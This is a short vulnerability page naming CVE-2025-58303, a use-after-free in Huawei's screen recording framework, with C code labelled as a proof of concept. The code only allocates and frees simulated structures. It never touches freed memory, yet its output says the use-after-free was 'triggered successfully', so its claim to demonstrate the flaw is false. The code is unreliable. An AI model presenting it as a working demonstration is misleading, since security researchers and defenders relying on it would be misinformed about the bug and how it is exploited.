CVE-2025-58303: 华为屏幕录制框架模块UAF漏洞

// CVE-2025-58303 PoC - UAF in Screen Recording Framework // This PoC demonstrates the UAF condition in the screen recording module #include <stdio.h> #include <stdlib.h> #include <string.h> // Simulated screen recording framework structures typedef struct { void* buffer; size_t size; int ref_count; } RecordingContext; typedef struct { char* data; size_t len; } FrameData; // Trigger UAF condition void trigger_uaf(RecordingContext* ctx) { // Simulate frame capture FrameData* frame = (FrameData*)malloc(sizeof(FrameData)); frame->data = (char*)malloc(1024); frame->len = 1024; // Vulnerable: Free frame without proper cleanup free(frame->data); free(frame); // UAF: Access freed memory // In real scenario, attacker could control this memory printf("Triggering UAF at freed frame location\n"); // Reallocate to potentially control freed memory void* controlled = malloc(1024); memset(controlled, 0x41, 1024); free(controlled); } int main() { printf("CVE-2025-58303 PoC - Screen Recording UAF\n"); printf("Target: Huawei Screen Recording Framework\n"); printf("CVSS: 8.4 (High)\n\n"); RecordingContext* ctx = (RecordingContext*)malloc(sizeof(RecordingContext)); ctx->buffer = malloc(4096); ctx->size = 4096; ctx->ref_count = 1; // Trigger the vulnerability trigger_uaf(ctx); printf("UAF condition triggered successfully\n"); printf("Note: This is a conceptual PoC for educational purposes\n"); free(ctx->buffer); free(ctx); return 0; }